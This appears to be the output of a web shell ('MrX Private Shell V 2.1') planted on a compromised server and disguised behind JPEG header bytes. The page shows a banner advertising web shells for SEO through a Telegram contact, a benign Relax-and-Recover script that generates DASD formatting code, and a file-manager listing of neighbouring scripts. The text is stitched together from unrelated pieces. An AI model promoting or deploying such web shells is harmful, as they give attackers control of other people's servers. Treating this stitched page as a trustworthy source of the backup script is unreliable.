����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# DASD_FORMAT_CODE is the script to recreate the dasd formatting (dasdformat.sh).
local component disk size label junk
local blocksize layout dasdtype dasdcyls junk2
save_original_file "$DASD_FORMAT_CODE"
# Initialize
echo '#!/bin/bash' >"$DASD_FORMAT_CODE"
# Show the current output of lsdasd, it can be useful for identifying disks
# (in particular it shows the Linux device name <-> virtual device number mapping,
# formatted / unformatted status and the number/size of blocks when formatted )
echo "# Current output of 'lsdasd':" >>"$DASD_FORMAT_CODE"
lsdasd | sed -e 's/^/# /' >>"$DASD_FORMAT_CODE"
cat <<EOF >>"$DASD_FORMAT_CODE"
LogPrint "Start DASD format restoration."
set -e
set -x
EOF
while read component disk size label junk; do
if [ "$label" == dasd ]; then
# Ignore excluded components.
# Normally they are removed in 520_exclude_components.sh,
# but we run before it, so we must skip them here as well.
if IsInArray "$disk" "${EXCLUDE_RECREATE[@]}" ; then
Log "Excluding $disk from DASD reformatting."
continue
fi
# dasd has more fields - junk is not junk anymore
read blocksize layout dasdtype dasdcyls junk2 <<<$junk
dasd_format_code "$disk" "$size" "$blocksize" "$layout" "$dasdtype" "$dasdcyls" >> "$DASD_FORMAT_CODE" || \
LogPrintError "Error producing DASD format code for $disk"
fi
done < <(grep "^disk " "$LAYOUT_FILE")
cat <<EOF >>"$DASD_FORMAT_CODE"
set +x
set +e
LogPrint "DASD(s) formatted."
EOF
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 090_include_dasd_code.sh | File | 433 B | 0644 |
|
| 205_s390_enable_disk.sh | File | 1.91 KB | 0644 |
|
| 360_generate_dasd_format_code.sh | File | 1.51 KB | 0644 |
|
| 370_confirm_dasd_format_code.sh | File | 3.12 KB | 0644 |
|
| 400_run_dasd_format_code.sh | File | 9.5 KB | 0644 |
|